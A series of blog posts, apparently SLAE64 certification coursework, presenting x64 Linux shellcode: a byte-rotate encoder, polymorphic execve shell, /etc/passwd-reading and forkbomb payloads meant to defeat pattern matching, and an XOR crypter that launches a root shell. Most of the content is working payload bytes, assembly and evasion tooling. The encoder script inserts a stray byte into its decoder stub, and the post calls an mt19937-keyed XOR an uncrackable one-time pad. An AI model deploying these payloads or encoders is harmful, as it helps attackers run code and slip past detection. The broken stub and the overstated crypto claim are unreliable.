Showing posts with label polymorphic. Show all posts
Showing posts with label polymorphic. Show all posts

Monday, December 22, 2014

x64 Shellcode Byte-Rotate Encoder

Shellcode encoders are used to defeat basic pattern matching or remove bad bytes from a payload. I've written before about Metasploit's x64/xor encoder, which is pretty simple and very effective.

I wrote an encoder that rotates bytes. I decided to rotate 3 bits left when encoding, meaning the decoder needs to rotate right 3 bits. Here is the decoder logic:

_start:
    jmp encoded

getaddr:
    pop rbx         ; *rbx stores data

    xor ecx, ecx
    add cl, 0xff    ; replace with shellcode size

decode:
    ror byte [rbx + rcx], 0x3
    loop decode

    jmp rbx

encoded:
    call getaddr

    ; db 0x.... encoded bytes go here

This resulted in the following 21 byte stub:

\xeb\x0e\x5b\x31\xc9\x80\xc1\x20\xc0\x0c\x0b\x03\xe2\xfa\xff\xe3\xe8\xed\xff\xff\xff

I created a python script that basically just rotates all the bits left by 3, and then prepends the decoder stub (changing the length in the cl register appropriately).

''' x64 Shellcode Bit-Rotate Encoder '''

def rol(byte, count):
    return (byte << count | byte >> (8 - count)) & 0xff

def hex_string(byte):
    return "\\" + hex(byte)[1 : ]

def rot_encode_vector(shellcode):
    encoded = []
    for byte in shellcode:
        encoded.append(rol(byte, 3))

    return encoded

def add_decoder_stub(encoded):
    decoder = "\\xeb\\x0e\\x5b\\x31\\xc9\\x80\\xc1\\x04"
    decoder += hex_string(len(encoded))
    decoder += "\\xc0\\x0c\\x0b\\x03\\xe2\\xfa\\xff\\xe3"
    decoder += "\\xe8\\xed\\xff\\xff\\xff"

    for byte in encoded:
        decoder += hex_string(byte)

    return decoder

def rot_encode(shellcode):
    shellcode_vector = shellcode.split('\\x')[1 : ]
    shellcode_vector = [int(y, 16) for y in shellcode_vector]

    encoded_vector = rot_encode_vector(shellcode_vector)
    complete = add_decoder_stub(encoded_vector)

    return complete, encoded_vector, shellcode_vector

if __name__ == '__main__':
    import argparse
    args = argparse.ArgumentParser(description='Bit-Rotate Encoder')
    args.add_argument('shellcode', help='shellcode to encode')

    argv = args.parse_args()

    out, encv, scv = rot_encode(argv.shellcode)

    print 'Original length: %d' % (len(scv))
    print argv.shellcode
    print
    print 'Encoded length: %d' % (len(out) / 4)
    print out
    print
    print 'db ' + ', '.join(map(hex, encv))

To run it, just enter the shellcode you want to use. Here is an example using a 32 byte execve local shell.

root@kali:~/SLAE64# python ./encoder.py "\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"

Original length: 32
\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05

Encoded length: 53
\xeb\x0e\x5b\x31\xc9\x80\xc1\x04\x20\xc0\x0c\x0b\x03\xe2\xfa\xff\xe3\xe8\xed\xff\xff\xff\x42\x89\x6\x82\x42\xdd\x79\x13\x4b\x73\x79\x79\x9b\x43\x9a\x42\x4c\x3f\x82\x42\x4c\x17\xba\x42\x4c\x37\x42\x1c\x6\xd9\x78\x28

db 0x42, 0x89, 0x6, 0x82, 0x42, 0xdd, 0x79, 0x13, 0x4b, 0x73, 0x79, 0x79, 0x9b, 0x43, 0x9a, 0x42, 0x4c, 0x3f, 0x82, 0x42, 0x4c, 0x17, 0xba, 0x42, 0x4c, 0x37, 0x42, 0x1c, 0x6, 0xd9, 0x78, 0x28

This bears very little resemblance to the original bytes, and looks like garbage code when disassembled.

"\x42\x89\x06"                  /* rex.X mov %eax,(%rsi) */
"\x82"                          /* (bad) */
"\x42\xdd\x79\x13"              /* rex.X fnstsw 0x13(%rcx) */
"\x4b\x73\x79"                  /* rex.WXB jae 99  */
"\x79\x9b"                      /* jns    ffffffffffffffbd */
"\x43\x9a"                      /* rex.XB (bad) */
"\x42"                          /* rex.X */
"\x4c\x3f"                      /* rex.WR (bad) */
"\x82"                          /* (bad) */
"\x42"                          /* rex.X */
"\x4c\x17"                      /* rex.WR (bad) */
"\xba\x42\x4c\x37\x42"          /* mov    $0x42374c42,%edx */
"\x1c\x06"                      /* sbb    $0x6,%al */
"\xd9\x78\x28"                  /* fnstcw 0x28(%rax) */

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

Sunday, December 21, 2014

x64 Linux Polymorphic read file shellcode

There is a read file shellcode on shell-storm that is used to read the /etc/passwd file. On Linux, this lists users and groups and such, however password hashes are actually stored inside of the /etc/shadow file. Regardless, here is the contents of the shellcode:

BITS 64
; Author Mr.Un1k0d3r - RingZer0 Team
; Read /etc/passwd Linux x86_64 Shellcode
; Shellcode size 82 bytes
global _start

section .text

_start:
    jmp _push_filename
  
_readfile:
; syscall open file
    pop rdi ; pop path value
    ; NULL byte fix
    xor byte [rdi + 11], 0x41
      
    xor rax, rax
    add al, 2
    xor rsi, rsi ; set O_RDONLY flag
    syscall
      
; syscall read file
    sub sp, 0xfff
    lea rsi, [rsp]
    mov rdi, rax
    xor rdx, rdx
    mov dx, 0xfff; size to read
    xor rax, rax
    syscall
  
; syscall write to stdout
    xor rdi, rdi
    add dil, 1 ; set stdout fd = 1
    mov rdx, rax
    xor rax, rax
    add al, 1
    syscall
  
; syscall exit
    xor rax, rax
    add al, 60
    syscall
  
_push_filename:
    call _readfile
    path: db "/etc/passwdA"

This comes out to 82 bytes.

\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41

Here are the same system calls with the logic in a different fashion, which will defeat basic pattern matching.

_start:

filename:
    xor esi, esi
    mul esi

    push rdx    ; '\0'

    mov rcx, 0x6477737361702f63  ; 'c/passwd'
    push rcx

    mov rcx, 0x74652f2f2f2f2f2f  ; '//////et'
    push rcx

openfile:
    push rsp
    pop rdi

    mov al, 0x2
    syscall

readfile:
    push rax
    pop rdi
    
    push rsp
    pop rsi
    
    push rdx
    push rdx        ; saving lots of 0's
    push rdx
    push rdx
    pop rax
    mov dx, 0x999
    syscall

write:
    pop rdi
    inc edi
    
    push rax
    pop rdx
    pop rax
    inc eax
    syscall

leave:
    pop rax
    mov al, 60
    syscall

The original code uses lots of mov operations, whereas this version accomplishes the same using the stack. Instead of using add to set RAX, it uses mov (although it could again also use the stack). The way a pointer to the string is obtained is also much different.

The final version comes out to 63 bytes, which is shorter than the original shellcode. This means we could add NOPs to be even more polymorphic.

\x31\xf6\xf7\xe6\x52\x48\xb9\x63\x2f\x70\x61\x73\x73\x77\x64\x51\x48\xb9\x2f\x2f\x2f\x2f\x2f\x2f\x65\x74\x51\x54\x5f\xb0\x02\x0f\x05\x50\x5f\x54\x5e\x52\x52\x52\x52\x58\x66\xba\x99\x09\x0f\x05\x5f\xff\xc7\x50\x5a\x58\xff\xc0\x0f\x05\x58\xb0\x3c\x0f\x05

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

x64 Linux Polymorphic execve() shellcode

There are many versions of execve shellcode for both x86 and x64 Linux. These work by executing some variation of the system call execve("/bin/sh", 0, 0), granting a local shell. Here is one of these shellcodes from shell-storm.
 
; [Linux/X86-64]
; Dummy for shellcode:
; execve("/bin/sh", ["/bin/sh"], NULL)
; hophet [at] gmail.com

global _start
section .text
_start:

    xor rdx, rdx
    mov rbx, 0x68732f6e69622fff
    shr rbx, 0x8

    push rbx
    mov rdi, rsp
    xor rax, rax
    push rax
    push rdi
    mov rsi, rsp

    mov al, 0x3b
    syscall

It assembles to 33 bytes, as follows:

\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05

Here is a polymorphic version which defeats pattern matching by changing the instructions, and rearranging the order things are done.

_start:

    xor esi, esi

    mov rdi, 0xff978cd091969dd1

    neg rdi
    mul esi

    add al, 0x3b

    push rdi
    push rsp
    pop rdi

    syscall

The polymorphic version comes in at 24 bytes, which is actually shorter than the original. This means we could add NOPs to be even more polymorphic.

\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

x64 Linux Polymorphic forkbomb shellcode

A forkbomb is an attack payload which causes the exploited program to create new instances of itself, in a permanent loop. The end result is basically a denial of service, as the program reproduces itself so many times that there are no more system resources left to use.

On shell-storm there is a simple 7 byte forkbomb shellcode for x86. Translated to x64, it would look something like this:

forkbomb:
    push 0x39
    pop rax
    syscall
    jmp short forkbomb

This gives us the following shellcode, also 7 bytes:

\x6a\x39\x58\x0f\x05\xeb\xf9

We can do some basic polymorphing of this code.

forkbomb:
    shl eax, 0x40
    mov al, 0x38
    inc al
    syscall
    jne forkbomb

This becomes 11 bytes, which is right around 150% of the size of the original. This will defeat basic pattern matching.

\xc1\xe0\x40\xb0\x38\xfe\xc0\x0f\x05\x75\xf5

However, this still contains some of the same bytes, at the point of the syscall. I created the following polymorphic code to have a totally different footprint.

forkbomb:
    nop
    lea rcx, [rel forkbomb]

    push rcx
    shl rax, 64
    mov al, 0x38
    inc al

    push 0xc359040e
    add word [rsp], 0x0101
    push rsp
    ret

It contains no bytes that are the same as the original. It uses encoding to disguise syscall. The only reason for the nop instruction is so that the RIP-relative addressing won't contain the byte \xf9, like the original shellcode.

The new payload is 29 bytes, null-free.

\x90\x48\x8d\x0d\xf8\xff\xff\xff\x51\x48\xc1\xe0\x40\xb0\x38\xfe\xc0\x68\x0e\x04\x59\xc3\x66\x81\x04\x24\x01\x01\x54\xc3

It sets up the stack as follows, then unmasks the syscall and returns:

[&rsp]                     <-- low address
[syscall - mask 0x0101]
[pop]
[ret]
[&forkbomb]                <-- high address

Different code, same result.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

x64 Shellcode One-Time Pad Crypter

I chose to use C++11 to create a shellcode crypter. I decided the following data structure is one that works well when dealing with shellcode in C++:

typedef std::vector<unsigned char> bytearr_t;

I had a bit of difficulty when trying to find an appropriate encryption method to use. I knew that I didn't want to use a block cipher, as the extra padding would only increase the length of the shellcode. Most of the stream ciphers have a number of attacks on them, and the ones that don't are pretty obscure.

 One stream cipher that is guaranteed to be cryptographically secure and cannot be cracked is a one-time pad. This type of encryption means that the key length is the same size as the data being encrypted. With a one-time pad, it is literally impossible to reverse the message without the right key, since the message can be any permutation of the same length. Here is how I generate a key:

bytearr_t generate_key(size_t len)
{
    std::random_device rd;
    std::mt19937 mt(rd());
    std::uniform_real_distribution<double> dist(0, 256);

    bytearr_t ret;

    for (auto i = 0; i < len; ++i)
        ret.push_back((unsigned char)dist(mt));

    return ret;
}

There are other ways to generate the key, but this one means we will always end up with something somewhat unique. Here is the encryption method which is a basic xor stream cipher:

bytearr_t one_time_xor(bytearr_t sc, bytearr_t key)
{
    bytearr_t ret;

    assert(sc.size() == key.size());

    for (auto i = 0; i < sc.size(); ++i)
        ret.push_back(sc[i] ^ key[i]);

    return ret;
}

You might be thinking, a simple xor is all that's being used? Well, you're not alone, and there are theoretical attacks on one-time pads. For instance, if someone knows our payload ends with syscall, they can easily change those bytes of the payload into something else. But if someone can garble that, they can garble anything, and prevent the payload from running in the first place, so we shouldn't be concerned. Even if we actually do have that information leak, the rest of the payload will still be unintelligible without the right key.

 The following example shows encryption of a simple local shell payload.

Build
root@kali:~# g++ -std=c++11 -m64 -z execstack crypter.cpp

Encrypt
root@kali:~# ./a.out \x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05

Size: 24

Key:
\x69\x77\x89\xdd\x5a\x00\x4f\x89\xc7\xb4\x8e\xec\xc7\x05\x46\x33\x0b\x31\x27\xde\x2f\xe2\x71\x9d

Encrypted:
\x58\x81\xc1\x62\x8b\x9d\xd9\x18\x17\x38\x19\x13\x8f\xf2\x99\xc4\xed\x35\x1c\x89\x7b\xbd\x7e\x98

Decrypt/Run
root@kali:~# ./a.out -d \x69\x77\x89\xdd\x5a\x00\x4f\x89\xc7\xb4\x8e\xec\xc7\x05\x46\x33\x0b\x31\x27\xde\x2f\xe2\x71\x9d \x58\x81\xc1\x62\x8b\x9d\xd9\x18\x17\x38\x19\x13\x8f\xf2\x99\xc4\xed\x35\x1c\x89\x7b\xbd\x7e\x98

\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05

Press any key to execute...
# whoami
root

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360